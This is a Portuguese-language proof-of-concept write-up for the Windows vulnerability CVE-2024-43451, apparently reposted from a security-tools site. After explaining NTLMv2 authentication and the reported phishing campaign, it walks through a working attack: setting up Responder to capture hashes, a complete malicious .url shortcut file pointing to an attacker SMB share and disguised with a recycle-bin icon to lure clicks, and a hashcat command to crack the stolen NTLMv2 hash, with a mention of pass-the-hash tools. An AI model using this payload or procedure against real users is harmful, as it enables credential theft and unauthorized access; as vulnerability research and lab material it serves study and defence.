Descrição

• Nome : CVE-2024-43451
• Pontuação CVSSv3 : 6.5
• Versões Afetadas : Todas as versões do Microsoft Windows anteriores ao Patch de Novembro de 2024

CVE-2024-43451 é uma vulnerabilidade de dia zero no Microsoft Windows que permite que atacantes capturem hashes de senha NTLMv2 com interação mínima do usuário, potencialmente levando ao roubo de credenciais. Um método comumente explorado envolve o uso de autenticação NTLM sobre conexões SMB para um servidor remoto, a fim de capturar o hash. Esta vulnerabilidade foi corrigida nas atualizações de Novembro de 2024. Recomenda-se que os usuários apliquem as atualizações de segurança relevantes para mitigar o risco.

Este ataque foi descoberto sendo ativamente explorado usando um e-mail de phishing enviado de um servidor governamental ucraniano comprometido. O e-mail inclui um arquivo de URL malicioso. Quando o usuário interage com o arquivo clicando com o botão direito, excluindo ou movendo-o, a vulnerabilidade é ativada. Isso aciona uma conexão ao servidor do atacante, levando ao download de mais arquivos maliciosos, como o malware SparkRAT (um trojan de acesso remoto de código aberto que permite ao atacante obter controle do sistema da vítima).

Autenticação NTLM

NTLMv2 é atualmente a versão mais segura e mais relevante hoje.

• O cliente se conecta ao servidor e solicita acesso a um recurso.
• O servidor gera um nonce (um desafio aleatório de 16 bytes) e o envia ao cliente.
• O cliente envia uma resposta gerada usando o algoritmo HMAC-MD5 que inclui o hash da senha (usando o algoritmo NT hash), nonce do servidor, timestamp, nonce do cliente e mais.
• O servidor usa o NT hash e repete os mesmos cálculos para si mesmo para produzir sua própria resposta NTLM; uma vez que cada um tem sua própria resposta, eles podem compará-las.
• Uma vez comparadas, o servidor decide se aceita ou nega a conexão.

image

Exploração

Configuração do POC

Para criar um ambiente de trabalho para este POC, devemos configurar uma máquina Windows alvo com um número de build lançado antes de novembro de 2024 e um servidor remoto para simular a captura do hash:

1. Baixe e instale o Responder para capturar o hash via SMB:
   root@kitploit:~

   brew install python3
   

   root@kitploit:~

   git clone https://github.com/lgandx/Responder.git
   

   root@kitploit:~

   cd Responder
   

   root@kitploit:~

   sudo python3 Responder.py -I <put your network interface> -v
   

2. Certifique-se de que haja uma conexão bem-sucedida entre a VM Windows alvo e seu ambiente "hacker" remoto.
3. Teste a configuração do Responder indo ao explorador e digitando \\(remote server IP):

Criando o Exploit

Já que tudo o que o exploit precisa é fazer uma conexão SMB com o servidor remoto, podemos usar um arquivo simples para simular isso:

1. Abra o Bloco de Notas
2. Insira o seguinte:
   Você pode inserir qualquer ícone que engane o usuário para interação, eu usei o ícone "lixeira cheia" (32)
   root@kitploit:~

   [InternetShortcut]
   URL=\\(remote server IP)\share
   IconIndex=32                    
   IconFile=C:\Windows\System32\shell32.dll
   

3. Salve como (nome).url

Processo Ativo

Uma vez que o arquivo é preparado e entregue ao sistema alvo, roubar o hash requer interação mínima do usuário. Essa interação pode envolver qualquer uma das seguintes ações:

• Baixar o arquivo e acessar a pasta "Downloads"
• Clicar com o botão direito no arquivo
• Mover o arquivo para outra pasta

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

Quebra de Hash

Com o hash descriptografado em mãos, podemos tentar quebrá-lo para revelar a senha em texto claro ou usá-lo em um ataque "Pass-the-Hash" com ferramentas como Mimikatz ou Metasploit.

No nosso caso, um simples comando do Hashcat revela minha senha: hashcat -m 5600 leak.txt rockyou.txt